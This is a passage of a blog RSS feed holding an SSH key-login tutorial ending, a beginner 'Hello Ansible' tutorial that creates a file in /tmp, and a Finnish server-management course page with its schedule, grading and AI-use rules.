&lt;pre>&lt;code>$ ssh-copy-id localhost
&lt;/code>&lt;/pre>
&lt;p>Once you've entered your password for the last time, ssh-copy-id adds your public key into .ssh/authorized_keys on the remote machine. Now your key is authorized for logins.&lt;/p>
&lt;p>Your public key is used automatically&lt;/p>
&lt;pre>&lt;code>$ ssh localhost
&lt;/code>&lt;/pre>
&lt;p>Did you log in without giving your password?&lt;/p>
&lt;p>Well done, you've now automated login with SSH public keys.&lt;/p>
&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;p>Here are some helpfull troubleshooting commands.&lt;/p>
&lt;p>Client side:&lt;/p>
&lt;pre>&lt;code>$ ssh -v localhost
&lt;/code>&lt;/pre>
&lt;p>Server side:&lt;/p>
&lt;pre>&lt;code>$ sudo journalctl --follow
$ sudo systemctl status ssh
&lt;/code>&lt;/pre></description></item><item><title>Hello Ansible</title><link>https://terokarvinen.com/hello-ansible/</link><pubDate>Thu, 26 Mar 2026 14:39:42 +0200</pubDate><guid>https://terokarvinen.com/hello-ansible/</guid><description>
&lt;p>Write infrastructure-as-code, control multiple machines easily.&lt;/p>
&lt;p>In this Ansible tutorial, we create a single file in /tmp/.&lt;/p>
&lt;p>In this whole tutorial, we'll create only &lt;a href="#endresult">4 folders and 4 short files&lt;/a>. But I'll show you how to build it step by step, so you can understand and adapt the process.&lt;/p>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>Ansible is a configuration management tool. You write your infrastructure as code (IaC). You describe the end state, and ansible only makes changes if they are needed.&lt;/p>
&lt;p>Ansible works trough SSH. Thus, the slave computers only need SSH daemon and Python installed.&lt;/p>
&lt;p>This tutorial is tested with Debian 13-Trixie. You can probably adapt it to other Linuxes, like Kali or Ubuntu. We'll use ssh daemon on the same host for testing, so the master and the slave are the same computer here.&lt;/p>
&lt;h2 id="test-ssh-account-without-ansible">Test SSH account (without Ansible)&lt;/h2>
&lt;p>Ansible works trough SSH. Let's first test that we can use SSH without Ansbile.&lt;/p>
&lt;p>It's advertised as &amp;quot;agentless&amp;quot;, and indeed there is no slave daemon for ansible. It still needs SSH daemon and Python on slave machine. Ansible (the command) is only needed on master side. Master computer is also known as &amp;quot;controller&amp;quot; in Ansible lingo.&lt;/p>
&lt;p>It's a good idea to set up passwordless SSH authentication for the account used with ansible. Check out Karvinen 2026: &lt;a href="https://terokarvinen.com/ssh-public-key-login-without-password/">SSH public key - Login without password&lt;/a>.&lt;/p>
&lt;pre>&lt;code>$ ssh localhost
remote$ exit
&lt;/code>&lt;/pre>
&lt;h2 id="install-ansible">Install Ansible&lt;/h2>
&lt;p>Ansible is convenintly in Debian repositories.&lt;/p>
&lt;pre>&lt;code>$ sudo apt-get update
$ sudo apt-get install ansible micro bash-completion tree
&lt;/code>&lt;/pre>
&lt;p>Only ansible is really needed. Extras make it easier to work:
- micro (text editor)
- bash-completion (tab fills current word)
- tree (show a tree of files and folders)&lt;/p>
&lt;h2 id="test-ssh-with-ansible">Test SSH with Ansible&lt;/h2>
&lt;p>Let's make a folder for our Ansible configuration.&lt;/p>
&lt;pre>&lt;code>$ cd
$ mkdir ansible/
$ cd ansible/
&lt;/code>&lt;/pre>
&lt;p>Let's write a list of hosts we'll be controlling. Create &amp;quot;hosts.ini&amp;quot;, and add &amp;quot;localhost&amp;quot; there.&lt;/p>
&lt;pre>&lt;code>$ micro hosts.ini
$ cat hosts.ini
localhost
&lt;/code>&lt;/pre>
&lt;p>Later, we can add more hosts. One line per host. The hosts can be grouped, so we can have hosts in &amp;quot;web&amp;quot; category and five in &amp;quot;db&amp;quot;.&lt;/p>
&lt;p>Now we can make Ansible run a command on all hosts.&lt;/p>
&lt;pre>&lt;code>$ ansible all -a 'uptime' -i hosts.ini
...
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:24:39 up 14 days, 20:36, 2 users, load average: 0.55, 0.44, 0.47
&lt;/code>&lt;/pre>
&lt;p>We're just testing ansible here. If we just wanted to run command on remote machine, we could have 'ssh localhost &amp;quot;uptime&amp;quot;'.&lt;/p>
&lt;p>Did you see the uptime? Great, Ansible can now use SSH to one host.&lt;/p>
&lt;p>&amp;lt;a name=&amp;quot;pythonversion&amp;quot;&lt;/p>
&lt;h2 id="convenience-stop-whining-about-python-version">Convenience: Stop whining about Python version&lt;/h2>
&lt;p>Why does Ansible have to whine about Python version? Oh, it could change - who could have guessed...&lt;/p>
&lt;pre>&lt;code>$ ansible all -a 'uptime' -i hosts.ini
[WARNING]: Host 'localhost' is using the discovered Python interpreter at '/usr/bin/python3.13', but future installation of another Python interpreter could cause a different interpreter to be discovered. See https://docs.ansible.com/ansible-core/2.19/reference_appendices/interpreter_discovery.html for more information.
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:29:24 up 14 days, 20:41, 2 users, load average: 0.27, 0.29, 0.39
&lt;/code>&lt;/pre>
&lt;p>Let's tell it to use the obvious Python command. We can add variables to host groups in inventory. This one we'll add to all.&lt;/p>
&lt;pre>&lt;code>$ micro hosts.ini
$ cat hosts.ini
localhost
[all:vars]
ansible_python_interpreter=/usr/bin/python3
&lt;/code>&lt;/pre>
&lt;p>So our only host &amp;quot;localhost&amp;quot; at the top, and variables for all hosts at the bottom.&lt;/p>
&lt;p>Let's try again:&lt;/p>
&lt;pre>&lt;code>ansible$ ansible all -a 'uptime' -i hosts.ini
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:31:18 up 14 days, 20:43, 2 users, load average: 0.18, 0.27, 0.37
&lt;/code>&lt;/pre>
&lt;p>We can see that the Python version warning is gone.&lt;/p>
&lt;a name="autoinventory">
&lt;h2 id="convenience-just-use-my-hostsini">Convenience: Just use my hosts.ini&lt;/h2>
&lt;p>Don't want to write &amp;quot;-i hosts.ini&amp;quot; for each 'ansible' and 'ansible-playbook' command?&lt;/p>
&lt;p>You can add hosts.ini to ansible.cfg, so you don't need to add it to each command line.&lt;/p>
&lt;pre>&lt;code>$ micro ansible.cfg
$ cat ansible.cfg
[defaults]
inventory = hosts.ini
&lt;/code>&lt;/pre>
&lt;p>Now we don't need to add &amp;quot;-i hosts.ini&amp;quot; to every 'ansible' and 'ansbile-playbook' commands.&lt;/p>
&lt;pre>&lt;code>$ ansible all -a &amp;quot;uptime&amp;quot;
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:22:18 up 14 days, 20:34, 2 users, load average: 0.35, 0.37, 0.46
&lt;/code>&lt;/pre>
&lt;h2 id="siteyml---what-computers-get-which-roles">Site.yml - what computers get which roles&lt;/h2>
&lt;p>Site.yml lists wich groups of computers get which configuration (roles).&lt;/p>
&lt;p>We want all computers to get the role &amp;quot;hello&amp;quot;. We have not written the role yet.&lt;/p>
&lt;pre>&lt;code>$ micro site.yml
$ cat site.yml
- hosts: all
roles:
- hello
&lt;/code>&lt;/pre>
&lt;p>Let's run our new playbook, site.yml&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml
[ERROR]: the role 'hello' was not found in /home/tero/code/terokarvinen-com/ansible/roles/:...
Origin: /home/tero/code/terokarvinen-com/ansible/site.yml:3:7
1 - hosts: all
2 roles:
3 - hello
^ column 7
&lt;/code>&lt;/pre>
&lt;p>Great, an error message! Most error messages bring us two letters: good news and bad news.&lt;/p>
&lt;ul>
&lt;li>Good news: ansible-playbook has read our file, site.yml. It's even quoting some text from it.&lt;/li>
&lt;li>Bad news: the role &amp;quot;hello&amp;quot; does not exist. Well, we have not written it yet.&lt;/li>
&lt;/ul>
&lt;h2 id="first-role---create-a-file">First role - create a file&lt;/h2>
&lt;p>Role is one configured thing, for example nginx, apache2, postgresql...&lt;/p>
&lt;p>But first, we'll create a &amp;quot;hello&amp;quot; role. It will create a file in /tmp/, on the slave computer. It's so simple it doesn't even need sudo.&lt;/p>
&lt;p>Roles are in roles/ folder. There could be roles/nginx/, roles/postgresql/... But here, we'll have roles/hello/.&lt;/p>
&lt;p>Each role folder will have standard subfolders. We'll just have tasks/. Often, we'll also see handlers/ for kicking daemons. The entry point, the code that get's run automatically, is in main.yml.&lt;/p>
&lt;pre>&lt;code>$ mkdir -p roles/hello/tasks/
$ micro roles/hello/tasks/main.yml
$ cat roles/hello/tasks/main.yml
- copy:
dest: /tmp/hello-ansible
content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>Let's run our playbook. Site.yml calls roles/hello/, tasks/main.yml is run automatically:&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml
PLAY [all]
TASK [Gathering Facts]
ok: [localhost]
TASK [hello : copy]
changed: [localhost]
PLAY RECAP
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
&lt;/code>&lt;/pre>
&lt;p>Hey, it has &amp;quot;changed=1&amp;quot;. So it claims to have changed the file on the slave.&lt;/p>
&lt;p>Let's verify using a different tool.&lt;/p>
&lt;pre>&lt;code>$ ssh localhost 'cat /tmp/hello-ansible'
See you at TeroKarvinen.com!
&lt;/code>&lt;/pre>
&lt;p>Did you see the file on slave? Great, your first &amp;quot;Hello, Ansible world&amp;quot; has run.&lt;/p>
&lt;h2 id="convenience-show-me-what-you-do">Convenience: Show me what you do&lt;/h2>
&lt;p>Default is pretty terse:&lt;/p>
&lt;pre>&lt;code>TASK [hello : copy]
changed: [localhost]
&lt;/code>&lt;/pre>
&lt;p>A popular solution would be giving each task a name that repeats the code: &amp;quot;Copy our hello world text to the file /tmp/hello&amp;quot;. To me, this would be similar to this C code: &amp;quot;i++; // increment the value of i by one&amp;quot;. It would make sense to name a block of tasks in ansible, but this is not supported yet.&lt;/p>
&lt;p>Luckily, we can make ansible print what it does. Add display_args_to_stdout:&lt;/p>
&lt;pre>&lt;code>$ micro ansible.cfg
$ cat ansible.cfg
[defaults]
inventory = hosts.ini
display_args_to_stdout = true
&lt;/code>&lt;/pre>
&lt;p>Now, let's run our playbook again:&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml
...
TASK [hello : copy dest=/tmp/hello-ansible, content=See you at TeroKarvinen.com!
]
ok: [localhost]
&lt;/code>&lt;/pre>
&lt;p>Now we can see what it does:&lt;/p>
&lt;pre>&lt;code>- old: &amp;quot;hello : copy&amp;quot;
- new: &amp;quot;hello : copy dest=/tmp/hello-ansible, content=See you at TeroKarvinen.com!&amp;quot;
&lt;/code>&lt;/pre>
&lt;a name="endresult">
&lt;h2 id="end-result">End result&lt;/h2>
&lt;p>This is what we have in the end&lt;/p>
&lt;pre>&lt;code>$ tree -F
./
├── ansible.cfg # generic configuration
├── hosts.ini # list of slave computers
├── roles/
│   └── hello/
│   └── tasks/
│   └── main.yml # code for &amp;quot;hello&amp;quot; role&amp;quot;
└── site.yml # which roles run on which slave
4 directories, 4 files
$ head -1000 ansible.cfg hosts.ini site.yml roles/hello/tasks/main.yml
==&amp;gt; ansible.cfg &amp;lt;== # generic configuration
[defaults]
inventory = hosts.ini
display_args_to_stdout = true
==&amp;gt; hosts.ini &amp;lt;== # list of slave computers
localhost
[all:vars]
ansible_python_interpreter=/usr/bin/python3
==&amp;gt; site.yml &amp;lt;== # which roles run on which slave
- hosts: all
roles:
- hello
==&amp;gt; roles/hello/tasks/main.yml &amp;lt;== # code for &amp;quot;hello&amp;quot; role
- copy:
dest: /tmp/hello-ansible
content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>And to run it all, we just run the playbook:&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml
...
localhost : ok=2 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
&lt;/code>&lt;/pre>
&lt;h2 id="troubleshooting-ansible">Troubleshooting Ansible&lt;/h2>
&lt;p>No trouble? No troubleshooting needed. Go enjoy your ansible!&lt;/p>
&lt;h3 id="no-inventory">No inventory&lt;/h3>
&lt;pre>&lt;code>$ ansible all -a &amp;quot;uptime&amp;quot;
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
$
&lt;/code>&lt;/pre>
&lt;p>See: &lt;a href="#autoinventory">Convenience: Just use my hosts.ini&lt;/a>&lt;/p>
&lt;p>Ansible does not detect hosts &lt;em>inventory&lt;/em> hosts.ini automatically. Use a command line flag for that:&lt;/p>
&lt;pre>&lt;code>$ ansible all -a &amp;quot;uptime&amp;quot; -i hosts.ini
...
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:17:49 up 14 days, 20:29, 2 users, load average: 0.25, 0.41, 0.51
&lt;/code>&lt;/pre>
&lt;p>You can add hosts.ini to ansible.cfg, so you don't need to add it to each command line.&lt;/p>
&lt;pre>&lt;code>$ micro ansible.cfg
$ cat ansible.cfg
[defaults]
inventory = hosts.ini
&lt;/code>&lt;/pre>
&lt;p>Now we don't need to add &amp;quot;-i hosts.ini&amp;quot; to every 'ansible' and 'ansbile-playbook' commands.&lt;/p>
&lt;pre>&lt;code>$ ansible all -a &amp;quot;uptime&amp;quot;
...
localhost | CHANGED | rc=0 &amp;gt;&amp;gt;
15:22:18 up 14 days, 20:34, 2 users, load average: 0.35, 0.37, 0.46
&lt;/code>&lt;/pre>
&lt;h3 id="discovered-python-interpreter">Discovered Python interpreter&lt;/h3>
&lt;pre>&lt;code>$ ansible all -a 'uptime' -i hosts.ini
[WARNING]: Host 'localhost' is using the discovered Python interpreter at '/usr/bin/python3.13', but future installation of another Python interpreter could cause a different interpreter to be discovered. See https://docs.ansible.com/ansible-core/2.19/reference_appendices/interpreter_discovery.html for more information.
&lt;/code>&lt;/pre>
&lt;p>See Convenience: &lt;a href="#pythonversion">Stop whining about Python version&lt;/a>.&lt;/p>
&lt;h3 id="indent-is-two-spaces-tabs-are-usually-invalid-in-yaml">Indent is two spaces: Tabs are usually invalid in YAML&lt;/h3>
&lt;p>[ERROR]: YAML parsing failed: Tabs are usually invalid in YAML.&lt;/p>
&lt;p>Yes, my brain hurts, too. Why can't YAML use tabs like normal people?&lt;/p>
&lt;p>You must indent with spaces. Each indent is two spaces. The error message will show where the mistake is:&lt;/p>
&lt;pre>&lt;code>[ERROR]: YAML parsing failed: Tabs are usually invalid in YAML.
Origin: ...ansible/site.yml:3:1
1 - hosts: all
2 roles:
3 - hello
^ column 1
&lt;/code>&lt;/pre>
&lt;h3 id="indent-ignores-the-dash-conflicting-action-statements">Indent ignores the dash: conflicting action statements&lt;/h3>
&lt;p>[ERROR]: conflicting action statements: copy, dest
Origin: ...ansible/roles/hello/tasks/main.yml:1:3&lt;/p>
&lt;p>1 - copy:
^ column 3&lt;/p>
&lt;pre>&lt;code>$ cat roles/hello/tasks/main.yml
- copy:
dest: /tmp/hello-ansible # WRONG - too little indent
content: &amp;quot;Blah&amp;quot; # WRONG - too little indent
&lt;/code>&lt;/pre>
&lt;p>We want to have &amp;quot;copy&amp;quot;, which has two children, &amp;quot;dest&amp;quot; and &amp;quot;content&amp;quot;.&lt;/p>
&lt;p>Correct:&lt;/p>
&lt;pre>&lt;code>- copy: # no indent, dash is first char on line
dest: /tmp/hello-ansible # four spaces on the left, two spaces from &amp;quot;c&amp;quot; in copy
content: &amp;quot;See you at TeroKarvinen.com!\n&amp;quot; # four spaces on the left, two from &amp;quot;c&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>&amp;quot;But it looks like four&amp;quot; - I know, I know. It's two from the start of the word above, ignoring the dash.&lt;/p>
&lt;h3 id="sudo-needed">Sudo needed&lt;/h3>
&lt;p>After a wait: &amp;quot;Task failed: Module failed: Failed to lock apt for exclusive operation: Failed to lock directory&amp;quot; and other error messages.&lt;/p>
&lt;p>Ansible needs sudo on the slave to do administration. It does not complain when creating files on /tmp/, because anyone can create files there. But as soon as you start doing any normal sysop things, you will need sudo.&lt;/p>
&lt;p>Add &amp;quot;become: true&amp;quot;. That means becoming the sudo user on slave machine.&lt;/p>
&lt;pre>&lt;code>$ cat site.yml
- hosts: all
become: true
roles:
- apt
- sshd
# ...
&lt;/code>&lt;/pre>
&lt;p>Now it will probably complain it does not know your sudo password.&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml --ask-become-pass
&lt;/code>&lt;/pre>
&lt;p>Now it asks your sudo password before running the commands.&lt;/p>
&lt;p>If you get tired of typing your sudo password, there are many ways around it, with different levels of security. For example, you can create an ansible specific user with passwordless sudo. Or use ansible vault. Or pass. Or even read sudo password from file, which sounds less than secure.&lt;/p></description></item><item><title>Palvelinten Hallinta</title><link>https://terokarvinen.com/palvelinten-hallinta/</link><pubDate>Thu, 26 Mar 2026 09:52:19 +0200</pubDate><guid>https://terokarvinen.com/palvelinten-hallinta/</guid><description>
&lt;p>Control &lt;del>10&lt;/del>, &lt;del>100&lt;/del>, &lt;del>1000&lt;/del> many computers.&lt;/p>
&lt;p>Or control 2071 computers, like Jussi did on a earlier course. Or handle 7 different operating systems and OS versions with a single master, like Matias.&lt;/p>
&lt;p>Best instance got 5.0 / 5 feedback - all respondents gave the best grade 5.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Course, both instances&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Course name and code&lt;/td>
&lt;td>Palvelinten hallinta &lt;a href="https://opinto-opas.haaga-helia.fi/course_unit/ICI001AS3A">ICI001AS3A&lt;/a>-&lt;strong>3011&lt;/strong> and &lt;em>-3013&lt;/em>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Timing&lt;/td>
&lt;td>2026 period 4, &lt;strong>late spring&lt;/strong>, w13-w20&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Credits&lt;/td>
&lt;td>5 cr&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Language&lt;/td>
&lt;td>&lt;strong>Finnish&lt;/strong> (+reading material in English)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Feedback&lt;/td>
&lt;td>Reached 5.0 / 5 * &lt;strong>&lt;a href="#comments">Excellent feedback&lt;/a>&lt;/strong> &lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Five star experience">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Classes&lt;/td>
&lt;td>-3011 online ke 17:40-20:30. -3013 pa5001 to 11:00-13:45. Both have mandatory participation.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Max students&lt;/td>
&lt;td>50 online, 40 Pasila. (Come to the first class if you're queuing for place)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Remote&lt;/td>
&lt;td>One course instance -3011 is fully remote. Other -3013 is face-to-face in Pasila pa5001.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>First class&lt;/td>
&lt;td>Online-3011 2026-03-25 w13 Wed 17:40 Zoom. Pasila-3013 2026-03-26 w13 Thu 11:00 pa5001, bring laptop.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Services&lt;/td>
&lt;td>Moodle: Palvelinten hallinta &lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=45174">-3011 online Wednesday evening&lt;/a>; &lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=45176">-3013 Thursday&lt;/a>, Zoom, Laksu. Optional: &lt;a href="https://terokarvinen.com/newsletter/">Tero's list&lt;/a>.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>I've done some research on configuration management systems. I have written my doctoral dissertation on applying malware command and control techniques to benign configuration management systems. I've given an invited speech in IEEE ICIM Chengdu and a plenary speech in IEEE ICIM Oxford; I’ve also been teaching these modern methods to companies. Previous feedback for this course has been from very good 4.3 to excellent &lt;del>4.9&lt;/del> 5.0 out of 5.&lt;/p>
&lt;p>As the course is in Finnish, the rest of this page will be in Finnish.&lt;/p>
&lt;h2 id="opintojakson-suoritettuaan-opiskelija">Opintojakson suoritettuaan opiskelija&lt;/h2>
&lt;ul>
&lt;li>Osaa hallita palvelimia kuvailemalla tavoitetilan (idempotenssi)&lt;/li>
&lt;li>Osaa tehdä asetukset pelkkänä tekstinä ja versioitavasti (infrastruktuuri koodina)&lt;/li>
&lt;li>Pystyy tekemään tavalliset ylläpitotoimet valitulla työkalulla (yksi totuus)&lt;/li>
&lt;/ul>
&lt;h2 id="esitiedot">Esitiedot&lt;/h2>
&lt;p>Esitiedot, kertaa nämä.&lt;/p>
&lt;p>Opettele komennot ja hakemistot ulkoa. Harjoittele niitä kokeilemalla moneen kertaan Linuxissa.&lt;/p>
&lt;ul>
&lt;li>Linuxin komennot, apt &lt;a href="http://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a>&lt;/li>
&lt;li>Tiedostojärjestelmän rakenne (etc, var…). Alkeet löytyvät samasta &lt;a href="http://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a>&lt;/li>
&lt;li>Demonien hallinta (esim Apache) &lt;a href="http://terokarvinen.com/2008/05/02/install-apache-web-server-on-ubuntu-4/index.html">Install Apache Web Server on Ubuntu&lt;/a> (paitsi demonin potkaisu nykyisin 'sudo systemctl restart apache2')&lt;/li>
&lt;li>Linuxin asentaminen virtuaalikoneeseen&lt;/li>
&lt;/ul>
&lt;a name="alustava-aikataulu">
&lt;h2 id="aikataulu">Aikataulu&lt;/h2>
&lt;p>Kurssi kestää 8 viikkoa. Edellyttää aktiivista osallistumista etäopetukseen videokonfferensissa lukkariin merkittynä aikana. Läksyt palautetaan 24 h ennen seuraavan oppitunnin alkua ja ristiinarvioidaan kahden luokkakaverin työt. Tämä alustava aikataulu elää kurssin aikana.&lt;/p>
&lt;p>Tunnit tiistaisin online 08:00 - 10:45 videokonfferenssina.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Päivä&lt;/th>
&lt;th>Aihe&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;strong>Perusteet&lt;/strong>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w13&lt;/td>
&lt;td>1. &lt;strong>Hei maailma&lt;/strong>. Järjestäytyminen: osallistujat, kurssin käytänteet. Keskitetyn hallinnan periaateet, infra koodina. Raportit, git web-käyttö, MarkDown kertaus. Hei maailma!&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w14&lt;/td>
&lt;td>2. &lt;strong>Infraa koodina&lt;/strong>. Konfiguraation kirjoittaminen koodiksi.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w15&lt;/td>
&lt;td>3. &lt;strong>Pkg-file-service&lt;/strong> eli demonien hallinta. Käsin tehdyn konfiguraation automatisointi.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w16&lt;/td>
&lt;td>4. &lt;strong>Esimerkkipalvelin&lt;/strong>. Käytännön esimerkki palvelimen konfiguroinnista.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w17&lt;/td>
&lt;td>5. &lt;strong>Versionhallinta&lt;/strong>. Git: init, clone, add, commit, pull, push, log. GitHub ja muut avustavat palvelut. &lt;strong>Omien modulien aloitus.&lt;/strong>, 2 hengen ryhmät.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>Soveltaminen&lt;/strong>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w18&lt;/td>
&lt;td>6. &lt;strong>Soveltaminen&lt;/strong>. Käytännön tekniikoita ja esimerkkejä. Ongelmanratkaisua. / Torstain ryhmällä omien modulien esittely alkaa.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w19&lt;/td>
&lt;td>7. &lt;strong>Omien modulien esittely&lt;/strong> I.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w20&lt;/td>
&lt;td>8. &lt;strong>Omien modulien esittely&lt;/strong> II. (2026-05-14 w20 Thu on Helatorstai, torstain ryhmällä ei tuntia. Keskiviikon ryhmän online-opetus normaalisti.)&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="oheismateriaalia-lukemista-ja-asennuspaketteja">Oheismateriaalia, lukemista ja asennuspaketteja&lt;/h2>
&lt;p>Debian stable 13-trixie levykuva &lt;a href="https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.4.0-amd64-xfce.iso">debian-live-13.4.0-amd64-xfce.iso&lt;/a> (3.6 GB) Kun uusia versioita tulee, linkki vanhenee. Uusi löytyy &lt;a href="https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/">samasta kansiosta&lt;/a>.&lt;/p>
&lt;p>Karvinen 2021: &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on Virtualbox&lt;/a>&lt;/p>
&lt;p>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">Create a Web Page Using Github&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.virtualbox.org/">VirtualBox.org&lt;/a>&lt;/p>
&lt;p>Karvinen 2020: &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">Command Line Basics Revisited&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://docs.ansible.com/projects/ansible/latest/">Ansible Community Documentation&lt;/a>&lt;/p>
&lt;p>Salo ym 2026: &lt;a href="https://github.com/tommi-vsalo/BlueTeamLab">BlueTeamLab&lt;/a>. Käynnissä olevassa projektissa rakennetaan SOC-harjoitusympäristöä. Linux, Windows, AD. OpenTofu, Ansible. VirtualBoxia ohjataan OpenTofulla.&lt;/p>
&lt;h2 id="arviointi">Arviointi&lt;/h2>
&lt;p>Osien ohjeelliset painoarvot ovat: kotitehtävät 70% ja oma moduli 30%. Arvosana perustuu kokonaisarvioon suorituksista. Kaikki kotitehtävät pitää tehdä ajallaan. Etäopetukseen pitää osallistua aktiivisesti.&lt;/p>
&lt;h2 id="vanhoja-toteutuksia">Vanhoja toteutuksia&lt;/h2>
&lt;p>&lt;a href="https://terokarvinen.com/2025/palvelinten-hallinta--ici001as3a-3008--2025">Palvelinten hallinta ICI001AS3A-3008 - 2025p2 loppusyksy&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/2024/palvelinten-hallinta-2024p2/">Palvelinten hallinta ICI001AS3A-3010 - 2024 periodi 2, loppusyksy&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://terokarvinen.com/search/?q=palvelinten+hallinta">Vanhoja toteutuksia vuoteen 2018 asti&lt;/a>&lt;/p>
&lt;h2 id="laksyt">Läksyt&lt;/h2>
&lt;p>Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p>
&lt;p>Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p>
&lt;p>Suosittu ja helppo tapa on &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">laittaa raportit Githubiin&lt;/a>.&lt;/p>
&lt;p>Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p>
&lt;p>Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p>
&lt;p>Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &amp;quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It's not allowed to generate text with AI or similar technologies. For example, it's not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&amp;quot;&lt;/p>
&lt;h3 id="h1-hei-ansiblen-maailma">h1 Hei Ansiblen maailma&lt;/h3>
&lt;p>&lt;em>Hei maailma! Yleensä kaikki ohjelmat alkavat siitä. Hei maailma testaa, että ympäristö toimii.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tässä kotitehtävässä harjoitellaan itse tunnilla kurkattuja ja osin kokeiltuja juttuja, jotta tehtävistä ei tule liian vaikeita. Jos olet aiemmin tehnyt nämä, voit simuloida puhtaan tilanteen - näin tehdään myöhemmin myös IaC-koodeja testatessa. Voit esimerkiksi pysäyttää ja poistaa ssh-demonin, poistaa authorized_keys... Katso vinkit alla.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul>
